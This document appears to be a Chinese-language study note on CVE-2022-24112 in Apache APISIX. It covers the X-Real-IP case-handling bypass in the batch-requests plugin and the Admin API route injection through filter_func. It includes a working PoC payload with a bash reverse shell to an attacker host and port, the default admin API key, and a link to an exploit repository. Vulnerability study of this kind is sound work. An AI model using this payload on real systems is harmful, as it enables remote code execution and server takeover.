CVE-2022-24112
是因为插件的漏洞导致远程x-real-ip地址可被覆盖,导致可通过这点访问adminApi的filter_func功能进行远程执行JS代码。是dashboard调用 apisix的组件,其没有处理考虑用户传入的请求头为 x-real-IP的形态,导致真实的IP地址被覆盖。 注:该漏洞需要 默认的admin的key,意思是本身就可以进行通过apisix进行写入路由? 非,因为apisix默认的监听是本地,所以是通过dashboard的插件的漏洞,造成了请求到了 apisix上。 本身需要dashboard什么权限? 不需要任何权限,到batch-requests之后被转发到 apisix上,最终的代码是在 apisix上进行执行的,而不是 dashboard。
在 RFC 7230文档当中: 请求头是否进行大小写组合,从HTTP协议的角度看是一样的。 但是插件当中只是转换了部分。
漏洞复现
创建环境
git clone https://github.com/twseptian/cve-2022-24112.git
风险点:APISIX 的默认配置(带有默认的API秘钥) 容易受到远程代码执行的攻击。 其只是限制了不能从外部进行调用。 但是其中的batch-requests插件当中有一个检查,使用真实的远程IP来覆盖了客户端的IP。但是其batch-requests没有注意大小写的问题,导致不能覆盖完全。用户上传的字段 x-real-ip能够被服务器解析,最终导致认为是本地发起的,造成命令执行。
poc
其中传输的数据为
json_data = {
'headers': {
'X-Real-IP': '127.0.0.1',
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
'Content-Type': 'application/json',
},
'timeout': 1500,
'pipeline': [
{
'path': '/apisix/admin/routes/index',
'method': 'PUT',
'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
},
],
}
原理:通过传参绕过IP校验+使用默认 APIKEY 值调用 Admin API 【默认设置 是本地进行调用】
使用PUT请求添加路由,触发filter_func()执行其中的lua代码
漏洞原理
为什么出现这样的漏洞? 1、用户传入的数据x-real-ip 设置为 本地的"127.0.0.1",其代码进行替换的时候并没有使用真实的数据进行替换。 2、并且在实际的判断当中采用了小写的数据,最后导致Admin API认为这是来自于本地的请求 。
利用思路 :利用插件发送请求绕过管理API的IP限制,APISIX默认配置容易受到远程代码执行的攻击。 1、在batch-requests插件当中有一个检查,用真实的远程IP覆盖客户端IP,但是由于一个bug,这个检查会被绕过。 2、我们利用batch-requests插件漏洞,绕过请求头检测。 3、伪造请求头,向Admin API注册路由。【其中存在两个请求头部 x-real-ip 和 X-Real-IP】不会相互进行覆盖 4、注册路由时,携带 filter_func 参数 可写入 lua代码,最终代码执行。
http pipeline:网关发起多个http请求,合并结果之后返回客户端
需要学习
- 如何使用diff进行查看漏洞补丁的修复方法?
https://github.com/lcatro/Source-and-Fuzzing/blob/master/1.Github.md
- 如何选择攻击面
- Apisix的指纹是什么
资源
APISIX文档 https://apisix.apache.org/zh/docs/a
疑问
apisix还有什么其他的插件 https://apisix.apache.org/plugins/ 插件所在的源代码位置在